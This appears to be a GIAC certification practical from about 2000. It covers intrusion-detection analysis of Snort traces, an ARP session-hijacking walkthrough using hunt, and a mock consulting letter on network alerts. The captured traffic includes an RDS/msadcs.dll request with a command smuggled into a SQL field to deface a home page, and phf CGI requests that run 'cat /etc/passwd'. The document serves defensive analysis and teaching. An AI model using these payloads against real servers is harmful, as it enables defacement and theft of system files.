Global Information Assurance Certification Paper

DC 2000 Practicals

Donald S. Kendrick, CNE, CCNA, CISSP

Table of Contents

1. Five Traces

Trace One

```
[**] IIS-msadc/msadcs.dll [**]
07/19-19:16:17.547861 210.122.39.3:1394 -> firewall:80
TCP TTL:47 TOS:0x0 ID:10928  DF
*****PA* Seq: 0xD1DF73B1   Ack: 0xD0AD8422   Win: 0x7D78
TCP Options => NOP NOP TS: 5806571 4053120
50 4F 53 54 20 2F 6D 73 61 64 63 2F 6D 73 61 64  POST /msadc/msad
63 73 2E 64 6C 6C 2F 41 64 76 61 6E 63 65 64 44  cs.dll/AdvancedD
61 74 61 46 61 63 74 6F 72 79 2E 51 75 65 72 79  ataFactory.Query
20 48 54 54 50 2F 31 2E 31 0D 0A 55 73 65 72 2D   HTTP/1.1..User-
41 67 65 6E 74 3A 20 41 43 54 49 56 45 44 41 54  Agent: ACTIVEDAT
41 0D 0A 48 6F 73 74 3A 20 website name          A..Host: website
more website name             75 73 0D 0A 43 6F  name       ..Co
6E 74 65 6E 74 2D 4C 65 6E 67 74 68 3A 20 36 33  ntent-Length: 63
39 0D 0A 43 6F 6E 6E 65 63 74 69 6F 6E 3A 20 4B  9..Connection: K
65 65 70 2D 41 6C 69 76 65 0D 0A 0D 0A 41 44 43  eep-Alive....ADC
43 6C 69 65 6E 74 56 65 72 73 69 6F 6E 3A 30 31  ClientVersion:01
2E 30 36 0D 0A 43 6F 6E 74 65 6E 74 2D 54 79 70  .06..Content-Typ
65 3A 20 6D 75 6C 74 69 70 61 72 74 2F 6D 69 78  e: multipart/mix
65 64 3B 20 62 6F 75 6E 64 61 72 79 3D 21 41 44  ed; boundary=!AD
4D 21 52 4F 58 21 59 4F 55 52 21 57 4F 52 4C 44  M!ROX!YOUR!WORLD
21 3B 20 6E 75 6D 2D 61 72 67 73 3D 33 0D 0A 0D  !; num-args=3...
0A 2D 2D 21 41 44 4D 21 52 4F 58 21 59 4F 55 52  .--!ADM!ROX!YOUR
21 57 4F 52 4C 44 21 0D 0A 43 6F 6E 74 65 6E 74  !WORLD!..Content
2D 54 79 70 65 3A 20 61 70 70 6C 69 63 61 74 69  -Type: applicati
6F 6E 2F 78 2D 76 61 72 67 0D 0A 43 6F 6E 74 65  on/x-varg..Conte
6E 74 2D 4C 65 6E 67 74 68 3A 20 34 33 30 0D 0A  nt-Length: 430..
0D 0A 02 00 03 00 08 00 E8 00 00 00 53 00 65 00  ............S.e.
6C 00 65 00 63 00 74 00 20 00 2A 00 20 00 66 00  l.e.c.t. .*. .f.
72 00 6F 00 6D 00 20 00 43 00 75 00 73 00 74 00  r.o.m. .C.u.s.t.
6F 00 6D 00 65 00 72 00 73 00 20 00 77 00 68 00  o.m.e.r.s. .w.h.
65 00 72 00 65 00 20 00 43 00 69 00 74 00 79 00  e.r.e. .C.i.t.y.
3D 00 27 00 7C 00 73 00 68 00 65 00 6C 00 6C 00  =.'.|.s.h.e.l.l.
28 00 22 00 63 00 6D 00 64 00 20 00 2F 00 63 00  (."c.m.d. ./.c.
20 00 65 00 63 00 68 00 6F 00 20 00 52 00 53 00   .e.c.h.o. .R.S.
48 00 20 00 6F 00 77 00 6E 00 73 00 20 00 79 00  H. .o.w.n.s. .y.
6F 00 75 00 20 00 20 00 4E 00 54 00 20 00 69 00  o.u. . .N.T. .i.
73 00 20 00 63 00 72 00 61 00 70 00 20 00 3E 00  s. .c.r.a.p. .>.
20 00 43 00 3A 00 5C 00 49 00 6E 00 65 00 74 00   .C.:.\.I.n.e.t.
70 00 75 00 62 00 5C 00 77 00 77 00 77 00 72 00  p.u.b.\.w.w.w.r.
6F 00 6F 00 74 00 5C 00 69 00 6E 00 64 00 65 00  o.o.t.\.i.n.d.e.
78 00 2E 00 68 00 74 00 6D 00 6C 00 22 00 29 00  x...h.t.m.l.".).
7C 00 27 00 08 00 B6 00 00 00 64 00 72 00 69 00  |.'.......d.r.i.
76 00 65 00 72 00 3D 00 7B 00 4D 00 69 00 63 00  v.e.r.=.{.M.i.c.
72 00 6F 00 73 00 6F 00 66 00 74 00 20 00 41 00  r.o.s.o.f.t. .A.
63 00 63 00 65 00 73 00 73 00 20 00 44 00 72 00  c.c.e.s.s. .D.r.
69 00 76 00 65 00 72 00 20 00 28 00 2A 00 2E 00  i.v.e.r. .(.*...
6D 00 64 00 62 00 29 00 7D 00 3B 00 64 00 62 00  m.d.b.).}.;.d.b.
71 00 3D 00 65 00 3A 00 5C 00 77 00 69 00 6E 00  q.=.e.:.\.w.i.n.
64 00 6F 00 77 00 73 00 5C 00 68 00 65 00 6C 00  d.o.w.s.\.h.e.l.
70 00 5C 00 69 00 69 00 73 00 5C 00 68 00 74 00  p.\.i.i.s.\.h.t.
6D 00 5C 00 74 00 75 00 74 00 6F 00 72 00 69 00  m.\.t.u.t.o.r.i.
61 00 6C 00 5C 00 62 00 74 00 63 00 75 00 73 00  a.l.\.b.t.c.u.s.
74 00 6D 00 72 00 2E 00 6D 00 64 00 62 00 3B 00  t.m.r...m.d.b.;.
0D 0A 2D 2D 21 41 44 4D 21 52 4F 58 21 59 4F 55  ..--!ADM!ROX!YOU
52 21 57 4F 52 4C 44 21 2D 2D 0D 0A              R!WORLD!--..
```

Saw over 400 of these back to back….sequential src ports.

1. Source: my network.

2. Detect generated by snort.

3. Source address is probably not spoofed since http requires an established TCP session.

4. CVE-1999-1011. Attack targeted against IIS servers to exploit RDS (remote data service) to run commands on an affected server. In this case, the attacker tried to change our home page to a commentary on his/her views of NT.

5. This attack works by completing the 3-way handshake then sending a POST to /msadcs/msadc.dll with a SQL select statement except the query search field actually has an embedded command. In this case, the command is to run the command processor and echo some words into a file called index.html in the root of the website. I think that this used some sort of script since the same command was executed over 400 times and sequential port numbers were used and that attack took place in a matter of a few minutes.

6. I believe this attack was originally described by Rain Forest Puppy on NTBugTraq and BugTraq (also see http://www.wiretrip.net/rfp/p/doc.asp?id=29&iface=2)

7. This does not appear against any of our other addresses> Only saw this going against our external IIS server. My feeling is that it is a targeted attack and that we either missed any prior scans for OS/web server software and/or this user does have a specific issue with us.

8. Severity=(Criticality + Lethality) – (System countermeasures – Network countermeasures) or (4+4) – (5+5) = -2

9. Defenses are fine. The network has to allow port 80 traffic into the public web site and the IDS did log it. The web server is well patched so this attack had no effect.

10. If the above packet was successful, what would have been the outcome?
    a) The home page would have said "RSH owns you NT is crap"
    b) The server would lock up
    c) A command shell would open for the attacker
    d) a database query results would be returned to the attacker
    The right answer would be A.

Trace Two

```
[**] WEB-etc/passwd [**]
07/19-12:29:55.504536 204.212.46.130:4704 -> firewall:80
TCP TTL:43 TOS:0x0 ID:19832
*****PA* Seq: 0x354D8201   Ack: 0x5AD6C5BC   Win: 0x1000
47 45 54 20 2F 63 67 69 2D 62 69 6E 2F 3F 51 61  GET /cgi-bin/?Qa
6C 69 61 73 3D 78 0A 63 61 74 20 2F 65 74 63 2F  lias=x.cat /etc/
70 61 73 73 77 64 20 48 54 54 50 2F 31 2E 30 0D  passwd HTTP/1.0.
0A 48 6F 73 74 3A web site name                  .Host: website
more web site name0D 0A 41 63 63 65 70 74 3A 20  name   ..Accept:
74 65 78 74 2F 68 74 6D 6C 2C 20 74 65 78 74 2F  text/html, text/
70 6C 61 69 6E 2C 20 74 65 78 74 2F 73 67 6D 6C  plain, text/sgml
2C 20 74 65 78 74 2F 78 2D 73 67 6D 6C 2C 20 61  , text/x-sgml, a
70 70 6C 69 63 61 74 69 6F 6E 2F 78 2D 77 61 69  pplication/x-wai
73 2D 73 6F 75 72 63 65 2C 20 61 70 70 6C 69 63  s-source, applic
61 74 69 6F 6E 2F 68 74 6D 6C 2C 20 61 70 70 6C  ation/html, appl
69 63 61 74 69 6F 6E 2F 78 2D 6B 73 68 2C 20 61  ication/x-ksh, a
70 70 6C 69 63 61 74 69 6F 6E 2F 78 2D 73 68 2C  pplication/x-sh,
20 61 70 70 6C 69 63 61 74 69 6F 6E 2F 78 2D 63   application/x-c
73 68 2C 20 2A 2F 2A 3B 71 3D 30 2E 30 30 31 0D  sh, */*;q=0.001.
0A 41 63 63 65 70 74 2D 45 6E 63 6F 64 69 6E 67  .Accept-Encoding
3A 20 67 7A 69 70 2C 20 63 6F 6D 70 72 65 73 73  : gzip, compress
0D 0A 41 63 63 65 70 74 2D 4C 61 6E 67 75 61 67  ..Accept-Languag
65 3A 20 65 6E 0D 0A 4E 65 67 6F 74 69 61 74 65  e: en..Negotiate
3A 20 74 72 61 6E 73 0D 0A 55 73 65 72 2D 41 67  : trans..User-Ag
65 6E 74 3A 20 4C 79 6E 78 2F 32 2E 37 2E 31 66  ent: Lynx/2.7.1f
20 6C 69 62 77 77 77 2D 46 4D 2F 32 2E 31 34 0D   libwww-FM/2.14.
0A 0D 0A                                         ...


[**] IDS128 - CVE-1999-0067 - CGI phf attempt [**]
07/19-13:14:21.219744 204.212.46.130:2010 -> firewall:80
TCP TTL:43 TOS:0x0 ID:43962
*****PA* Seq: 0x6CB51A01   Ack: 0xCA7B639E   Win: 0x1000
47 45 54 20 2F 63 67 69 2D 62 69 6E 2F 70 68 66  GET /cgi-bin/phf
2F 3F 51 61 6C 69 61 73 3D 58 0A 69 64 0A        /?Qalias=X.id.
```

1. Source: my network.

2. Detect generated by snort.

3. Source address is probably not spoofed since http requires an established TCP session.

4. CVE-1999-0067 CGI phf attack and a variant. This is an attack using some well known holes in some example CGI scripts that use the escape_shell_cmd().

5. This attack works by completing the 3-way handshake then sending a GET to one of the vulnerable programs, in this case Qalias with an embedded command. If successful, the command is executed and the results are returned to the attacker. Notice the mime associations within the request. This associates this command with various shells (x-ksh, x-sh, x-csh among others). This would have the effect of executing commands under those shells.

6. Very widely known attack, see http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-1999-0067 and http://www.cert.org/advisories/CA-96.06.cgi_example_code.html for more information.

7. I do not think that this attack was directly targeted at us for the following reasons. One, it is trival to find out what kind of web server software we are running. Knowing this, the attacker would know that this attack would never ever work (NT boxes have no /etc/passwd). Secondly, Lynx was used to launch the attack. Lynx is a favorite for scripted attacks without getting into full programming.

8. Severity=(Criticality + Lethality) – (System countermeasures – Network countermeasures) or (4+3) – (5+5) = -3

9. Defenses are fine. The network has to allow port 80 traffic into the public web site and the IDS did log it. The web server is well patched and of the wrong flavor for this to work so this attack had no effect.

10. What information would be gained from the /etc/passwd file on a NT system?
    a. The administrator's password
    b. All passwords on the system
    c. The domain secret for the NT domain
    d) Nothing, NT boxes do not have /etc/passwd
    The right answer would be D.

Trace Three

Jul 19 02:18:07 209.252.108.79:61466 -> firewall:80 SYN 2*S***** RESERVEDBITS
Jul 19 02:18:07 209.252.108.79:61467 -> firewall:80 NULL ********
Jul 19 02:18:07 209.252.108.79:61468 -> firewall:80 NMAPID **SF*P*U
Jul 19 02:20:31 209.252.108.79:41081 -> firewall:80 SYN 2*S***** RESERVEDBITS
Jul 19 02:20:31 209.252.108.79:41082 -> firewall:80 NULL ********
Jul 19 02:20:31 209.252.108.79:41083 -> firewall:80 NMAPID **SF*P*U
Jul 19 02:20:49 209.252.108.79:41076 -> firewall:80 SYN **S*****
Jul 19 02:20:50 209.252.108.79:41080 -> firewall:80 SYN **S*****

*Jul 19 02:22:32: %SEC-6-IPACCESSLOGP: list ACLin denied tcp 209.252.108.79(61459) -> firewall(23)
*Jul 19 02:22:38: %SEC-6-IPACCESSLOGP: list ACLin denied tcp 209.252.108.79(61460) -> firewall(23)
*Jul 19 02:22:44: %SEC-6-IPACCESSLOGP: list ACLin denied tcp 209.252.108.79(61461) -> firewall(23)
*Jul 19 02:25:26: %SEC-6-IPACCESSLOGP: list ACLin denied tcp 209.252.108.79(61462) -> firewall(23)
*Jul 19 02:25:35: %SEC-6-IPACCESSLOGP: list ACLin denied tcp 209.252.108.79(61463) -> firewall(23)
*Jul 19 02:27:30: %SEC-6-IPACCESSLOGP: list ACLin denied tcp 209.252.108.79(41074) -> firewall(23)
*Jul 19 02:27:34: %SEC-6-IPACCESSLOGP: list ACLin denied tcp 209.252.108.79(41075) -> firewall(23)
*Jul 19 02:27:57: %SEC-6-IPACCESSLOGP: list ACLin denied tcp 209.252.108.79(41077) -> firewall(23)
*Jul 19 02:27:59: %SEC-6-IPACCESSLOGP: list ACLin denied tcp 209.252.108.79(41078) -> firewall(23)

1. Source: my network.

2. Detect generated by snort with additional trace from Cisco syslog.

3. Source address is probably not spoofed since recon requires a reply of some sort.

4. Recon attack for OS determination via fingerprinting of response to various TPC Flags. Attacker used nmap to determine my OS. They must have received results back indicating to them that it was some sort of Unix box since they then tried to telnet.

5. The attack works by sending different combinations of TCP flags to a target machine and analyzing the response against known OS fingerprints. Since some of these flag combinations were never thought to exist in the same packet, different OS's have differing interpretations on how they should respond.

6. Nmap is a widely used tool. As it looks for signatures, it too has a signature. Most, if not all, IDS systems can detect nmap.

7. I did not see this IP address (or any "close" subnets) going after any other addresses at my site. Therefore I must conclude that it was a targeted attack.

8. Severity=(Criticality + Lethality) – (System countermeasures – Network countermeasures) or (4+2) – (4+5) = -3

9. Defenses are fine. Can't do much to keep recon on allowed ports from passing the border router. Inbound telnet is blocked at the border router and at the firewall.

10. Given the two traces above, what kind of operating system is targeted:
    a. Unix
    b. Win2k
    c. MacOS
    d. MVS
    The right answer would be A.

Trace Four

Jul 19 07:47:45 63.225.118.131:20 -> firewall:1339 SYN **S*****
scans every dest port up to the following
Jul 19 07:57:20 63.225.118.131:20 -> firewall:1684 SYN **S*****

Notice that they use source port 20 (ftp-data) to get by the screening router

1. Source: my network
2. Detect generated by snort.
3. Source address is probably not spoofed since recon requires a reply of some sort.
4. Recon attack for open ports.
5. The attack works by sending SYN's to different ports and looking for resets. One could argue, by the use of source port 20 that this attacker was looking to hijack a pending ftp data transfer but I do not think so. Rather, I think that this is a rather slick way to bypass the access-list on border routers since a source port of 20 (ftp-data) inbound is usually left open for outbound ftp requests.
6. Port scans are an hourly event at busy sites. The thing that I haven't seen before is the use of source port 20.
7. I did not see this IP address (or any "close" subnets) going after any other addresses at my site. Therefore I must conclude that it was a targeted attack but do not understand the selection of ports to scan, except potentially looking for several Trojans that exist in this range.
8. Severity=(Criticality + Lethality) – (System countermeasures – Network countermeasures) or (4+2) – (4+3) = -1
9. Defenses are OK. Can't do much to keep port scanning on allowed ports from passing the border router. Perhaps reflexive ACL could help.
10. If a port is not active on a host, what is the proper reply to a TCP SYN packet?:
    a. RST
    b. SYN-ACK
    c. ICMP port unreachable
    d. nothing
    The right answer would be A.

Trace Five

Jul 18 20:58:48 24.2.58.63:4421 -> firewall:443 SYN **S*****
Jul 18 20:58:52 24.2.58.63:0 -> firewall:4420 INVALIDACK **SF*PA*
Jul 18 21:18:48 24.2.58.63:4483 -> firewall:443 SYN **S*****
Jul 18 21:18:44 24.2.58.63:4477 -> firewall:443 INVALIDACK **SF**AU
Jul 18 21:18:51 24.2.58.63:4484 -> firewall:443 SYN **S*****

1. Source: my network.

2. Detect generated by snort..

3. Source address is probably not spoofed since recon requires a reply of some sort.

4. Recon attack for OS determination via fingerprinting of response to various TPC Flags.

5. The attack works by sending different combinations of TCP flags to a target machine and analyzing the response against known OS fingerprints. Notice that this script appears to have a bug in it. Look at the ports. The first packet is source port 4421 to dest. port 443. The second packet is source port 0 to dest. port 4420….interesting. maybe the script got confused and put the source port into the dest. port variable and then didn't put anything in the real source port variable. This only showed up in the portscan file so the full packet is not avail. If we had that, we may have been able to get more insight of what's going on.

6. Just some home-brewed script from cable-modem land.

7. I did not see this IP address (or any "close" subnets) going after any other addresses at my site. Therefore I must conclude that it was a targeted recon.

8. Severity=(Criticality + Lethality) – (System countermeasures – Network countermeasures) or (4+2) – (4+5) = -3

9. Defenses are fine. Can't do much to keep recon on allowed ports from passing the border router. The "weird" packet was allowed past the border router because of the ACK (established) bit being on.

10. What service resides on port 443 TCP:
    a. https
    b. Linuxconf
    c. PCAnywhere version 7
    d. X-Windows
    The right answer would be A.

2. Evaluate an attack…

Session highjacking through ARPs...using hunt by kra that was part of Trinux 0.70 from http://trinux.sourceforge.net.

This attack uses ARPs to get in between two hosts that have already formed a TCP session. It does this by first keeping track of the sequence numbers and then sending out ARPs that advertise that the MAC addresses for the connection ends have changed (Gratuitous ARPs). The Helpful OS's on each end hear these ARPs and send all future traffic to these new MAC addresses. The program keeps sending out the ARPs so ARP caches do not drop it from cache. Here's the trace:

Start of telnet with legit ARP.

16:42:09.755839 eth0 > arp who-has telnet.server tell telnet.client (0:50:56:9e:82:fe)
16:42:09.755940 eth0 B arp who-has telnet.server tell telnet.client
16:42:09.756008 eth0 > arp reply telnet.server (0:c0:4f:a3:77:29) is-at 0:c0:4f:a3:77:29 (0:50:56:9e:82:fe)
16:42:09.775010 eth0 < telnet.client.2271 > telnet.server.telnet: S 88421456:88421456(0) win 8192 <mss 1460> (DF)
16:42:09.775218 eth0 > telnet.server.telnet > telnet.client.2271: S 478079660:478079660(0) ack 88421457 win 32120 <mss 1460> (DF)
16:42:09.788840 eth0 < telnet.client.2271 > telnet.server.telnet: . 1:1(0) ack 1 win 8760 (DF)

Three way handshake done...telnet session going

16:42:10.001439 eth0 > telnet.server.telnet > telnet.client.2271: P 1:13(12) ack 1 win 32120 (DF)
16:42:10.135413 eth0 < telnet.client.2271 > telnet.server.telnet: . 1:1(0) ack 13 win 8748 (DF)
16:42:10.510233 eth0 < telnet.client.2271 > telnet.server.telnet: P 1:4(3) ack 13 win 8748 (DF)
16:42:10.510417 eth0 > telnet.server.telnet > telnet.client.2271: . 13:13(0) ack 4 win 32120 (DF)

<snip boring stuff>

16:42:10.803972 eth0 > telnet.server.telnet > telnet.client.2271: P 106:113(7) ack 45 win 32120 (DF)
16:42:10.947927 eth0 < telnet.client.2271 > telnet.server.telnet: . 45:45(0) ack 113 win 8648 (DF)

Now here come those ARPs…First redirecting the client.

16:42:45.080825 eth0 < arp reply telnet.client is-at ea:1a:de:ad:be:a (0:c0:4f:a3:77:29)
16:42:45.082442 eth0 < arp reply telnet.client is-at ea:1a:de:ad:be:a (0:c0:4f:a3:77:29)
16:42:45.203868 eth0 < arp reply telnet.client is-at ea:1a:de:ad:be:a (0:c0:4f:a3:77:29)
16:42:45.205334 eth0 < arp reply telnet.client is-at ea:1a:de:ad:be:a (0:c0:4f:a3:77:29)

Then a ping to make sure it took.

16:42:45.207407 eth0 < telnet.client > telnet.server: icmp: echo request (DF)
16:42:45.207522 eth0 > telnet.server > telnet.client: icmp: echo reply

More ARPs…redirecting the server…

16:42:45.210510 eth0 > arp reply telnet.server (ea:1a:de:ad:be:b) is-at ea:1a:de:ad:be:b (0:50:56:9e:82:fe)
16:42:45.210540 eth0 P arp reply telnet.server is-at ea:1a:de:ad:be:b (0:50:56:9e:82:fe)
16:42:45.212022 eth0 > arp reply telnet.server (ea:1a:de:ad:be:b) is-at ea:1a:de:ad:be:b (0:50:56:9e:82:fe)
16:42:45.212049 eth0 P arp reply telnet.server is-at ea:1a:de:ad:be:b (0:50:56:9e:82:fe)
16:42:45.324177 eth0 > arp reply telnet.server (ea:1a:de:ad:be:b) is-at ea:1a:de:ad:be:b (0:50:56:9e:82:fe)
16:42:45.324266 eth0 P arp reply telnet.server is-at ea:1a:de:ad:be:b (0:50:56:9e:82:fe)
16:42:45.326345 eth0 > arp reply telnet.server (ea:1a:de:ad:be:b) is-at ea:1a:de:ad:be:b (0:50:56:9e:82:fe)
16:42:45.326371 eth0 P arp reply telnet.server is-at ea:1a:de:ad:be:b (0:50:56:9e:82:fe)

Ping both ways…

16:42:45.328868 eth0 > telnet.server > telnet.client: icmp: echo request (DF)
16:42:45.328892 eth0 P telnet.server > telnet.client: icmp: echo request (DF)
16:42:45.337458 eth0 > telnet.client > telnet.server: icmp: echo reply (DF)
16:42:45.337497 eth0 P telnet.client > telnet.server: icmp: echo reply (DF)

16:42:49.272892 eth0 < telnet.client.2271 > telnet.server.telnet: P 45:46(1) ack 106 win 8648 (DF)
16:42:49.273279 eth0 > telnet.server.telnet > telnet.client.2271: P 113:114(1) ack 46 win 32120 (DF)
16:42:49.277643 eth0 < telnet.client.2271 > telnet.server.telnet: P 46:46(0) ack 114 win 8648 (DF)
16:42:49.516966 eth0 < telnet.client.2271 > telnet.server.telnet: P 46:47(1) ack 114 win 8648 (DF)

Badguy now has the session and repeats above arp pattern every once in a while to keep everyone confused (ARP caches up to date)...

<snip>

then resets and returns the ARPs to normal...

16:50:44.090715 eth0 > telnet.server.telnet > telnet.client.2271: R 113:113(0) ack 45 win 32120 (DF)
16:50:44.090796 eth0 P telnet.server.telnet > telnet.client.2271: R 113:113(0) ack 45 win 32120 (DF)
16:50:44.091333 eth0 < telnet.client.2271 > telnet.server.telnet: R 71:71(0) ack 226 win 8648 (DF)
16:50:44.092046 eth0 < arp reply telnet.client (0:50:56:9e:82:fe) is-at 0:50:56:9e:82:fe (0:c0:4f:a3:77:29)
16:50:44.092494 eth0 < arp reply telnet.client (0:50:56:9e:82:fe) is-at 0:50:56:9e:82:fe (0:c0:4f:a3:77:29)
16:50:44.096964 eth0 > arp reply telnet.server (0:c0:4f:a3:77:29) is-at 0:c0:4f:a3:77:29 (0:50:56:9e:82:fe)
16:50:44.096986 eth0 P arp reply telnet.server (0:c0:4f:a3:77:29) is-at 0:c0:4f:a3:77:29 (0:50:56:9e:82:fe)
16:50:44.098302 eth0 > arp reply telnet.server (0:c0:4f:a3:77:29) is-at 0:c0:4f:a3:77:29 (0:50:56:9e:82:fe)
16:50:44.098325 eth0 P arp reply telnet.server (0:c0:4f:a3:77:29) is-at 0:c0:4f:a3:77:29 (0:50:56:9e:82:fe)

3. "Analyze this…"

Dear Mr. Corporate Guy,

Thank you for the opportunity to install our network intrusion detection monitors at your site. This experience has given us an opportunity to sample some of your network traffic and given you some ideas of our capabilities should you elect to continue our services.

The following is a selection of some of the activity that we have seen on your network. I have attempted to put these in date order and identify the master trace file should you decide to investigate further:

OOSche25.txt 5/22

We see a lot of scanning for DNS servers as well as some attempts at other OS determination scans. The most interesting packet is as follows:

=+ 05/22-22:38:33.348452
MY.NET.219.54:0 - 207.36.240.14:1098 TCP TTL:126 TOS:0x0 ID:56424 DF *1SF*P*U Seq: 0x500023 Ack: 0xF5B75E6E Win: 0x5010 TCP Options = Opt 32 (32): 2020 2000 6239 0441 04B8 002A 0000 0000 0000 0000 0000 0000 0000 0000 0000 EOL EOL EOL EOL EOL EOL EOL EOL

Here we have one of our machines going to a machine at gate.net with abnormal tcp flags, options and ports. We suggest watching this machine.

SnortA1 5/23

We see an usually amount of traffic to the SMTP port. We believe that this machines is either attempting to use us as a relay or attempting some sort of sendmail exploit. See also SnortA6 below.

05/23-07:31:56.471149 [**] Watchlist 000222 NET-NCFC [**] 159.226.45.3:2372 - MY.NET.253.41:25
05/23-07:33:24.580395 [**] Watchlist 000222 NET-NCFC [**] 159.226.45.3:2372 - MY.NET.253.41:25

SnortA2 5/23

We saw a lot of these and were concerned until we did a reverse lookup on the host and found it to be proxyscan.md.us.undernet.org which is part of the Undernet IRC network. This network does routinely look for open proxy as part of it's normal (?) operation.

05/23-08:42:35.805919 [**] WinGate 1080 Attempt [**] 207.114.4.46:3305 - MY.NET.60.8:1080

A lot of these were also seen. Someone may want to check our server that seems to be misconfigured with public community string.

05/23-09:39:11.853864 [**] SNMP public access [**] MY.NET.97.129:1088 - MY.NET.101.192:161

SnortA6 5/27

I am real concerned about this. Many hosts in our net talking to port 25 on many hosts within the "Computer Network Center Chinese Academy of Sciences." I think we potential have some compromised machines.

05/27-00:44:27.465119 [**] Watchlist 000222 NET-NCFC [**] 159.226.40.140:25 - MY.NET.100.230:53458
05/27-00:44:29.609259 [**] Watchlist 000222 NET-NCFC [**] 159.226.40.140:25 - MY.NET.100.230:53458
05/27-00:44:29.609666 [**] Watchlist 000222 NET-NCFC [**] 159.226.40.140:25 - MY.NET.100.230:53458
05/27-00:44:30.573637 [**] Watchlist 000222 NET-NCFC [**] 159.226.40.140:25 - MY.NET.100.230:53458
05/27-00:44:30.593649 [**] Watchlist 000222 NET-NCFC [**] 159.226.40.140:25 - MY.NET.100.230:53458

SnortS7 5/27

More potential evident of comprise at our site. Our machine scanning others in our net. Perhaps this machine is being used to find other hosts to exploit?

May 27 23:44:42 **MY.NET.253.12**:43746 - MY.NET.14.1:1350 SYN **S*****
May 27 23:44:42 MY.NET.253.12:43746 - MY.NET.14.1:5901 SYN **S*****
May 27 23:44:42 MY.NET.253.12:43746 - MY.NET.14.1:995 SYN **S*****

SnortA6 5/27

Same as above…our net scanning our net.

05/27-23:48:34.250586 [**] spp_portscan: PORTSCAN DETECTED from **MY.NET.253.12** (THRESHOLD 7 connections in 2 seconds) [**] 05/27-23:48:36.595227 [**] spp_portscan: portscan status from MY.NET.253.12: 1133 connections across 1 hosts: TCP(1133), UDP(0) [**]
05/27-23:44:47.357835 [**] Null scan! [**] MY.NET.253.12:43754 - MY.NET.14.1:7
05/27-23:44:47.358118 [**] Probable NMAP fingerprint attempt [**] MY.NET.253.12:43755 - MY.NET.14.1:7
05/27-23:44:47.358888 [**] NMAP TCP ping! [**] MY.NET.253.12:43756 - MY.NET.14.1:7
05/27-23:44:47.363638 [**] NMAP TCP ping! [**] MY.NET.253.12:43758 - MY.NET.14.1:1
05/27-23:48:37.251608 [**] spp_portscan: portscan status from MY.NET.253.12: 13 connections across 1 hosts: TCP(12), UDP(1) STEALTH [**] 05/27-23:48:37.913016 [**] spp_portscan: End of portscan from MY.NET.253.12 (TOTAL HOSTS:1 TCP:1145 UDP:1) [**]

We also so a lot of these but they turned out to be ICQ from AOL. It's a false positive for high port Sun RPC.

05/27-23:51:21.261264 [**] Attempted Sun RPC high port access [**] 205.188.153.100:4000 - MY.NET.217.2:32771

SnortA7 5/28

More from our new friend my.net.253.12 scanning others.

05/28-15:13:41.735004 [**] WinGate 1080 Attempt [**] **MY.NET.253.12**:43749 - MY.NET.16.14:1080
05/28-15:23:02.517114 [**] spp_portscan: portscan status from MY.NET.253.12: 53 connections across 1 hosts: TCP(53), UDP(0) [**]
05/28-15:13:42.049689 [**] WinGate 1080 Attempt [**] MY.NET.253.12:43750 - MY.NET.16.14:1080
05/28-15:23:03.673249 [**] spp_portscan: portscan status from MY.NET.253.12: 58 connections across 1 hosts: TCP(58), UDP(0) [**]
05/28-15:23:04.518444 [**] spp_portscan: portscan status from MY.NET.253.12: 55 connections across 1 hosts: TCP(55), UDP(0) [**]
05/28-15:23:05.736635 [**] spp_portscan: portscan status from MY.NET.253.12: 47 connections across 1 hosts: TCP(47), UDP(0) [**]
05/28-15:23:07.266623 [**] spp_portscan: portscan status from MY.NET.253.12: 58 connections across 1 hosts: TCP(58), UDP(0) [**]

SnortS3 6/2

Probably just some misconfigured ftp…

Jun 2 04:34:06 213.188.8.45:4414 - MY.NET.201.14:21 SYN **S*****
Jun 2 04:34:06 213.188.8.45:4416 - MY.NET.201.246:21 SYN **S*****
Jun 2 04:34:06 213.188.8.45:4417 - MY.NET.202.142:21 SYN **S*****
Jun 2 04:34:06 213.188.8.45:4418 - MY.NET.202.234:21 SYN **S*****

SnortS14 6/17

Tons of these note source port. We think this is RingZero scanning.

Jun 17 22:44:33 202.235.50.12:65535 - MY.NET.254.237:8080 SYN **S*****

Again, thank you for the chance to capture some great data. As you can see, there is plenty of activity on your network that warrants investigation. We would like to be the company to help you with this.<other marketing stuff>

Regards,

me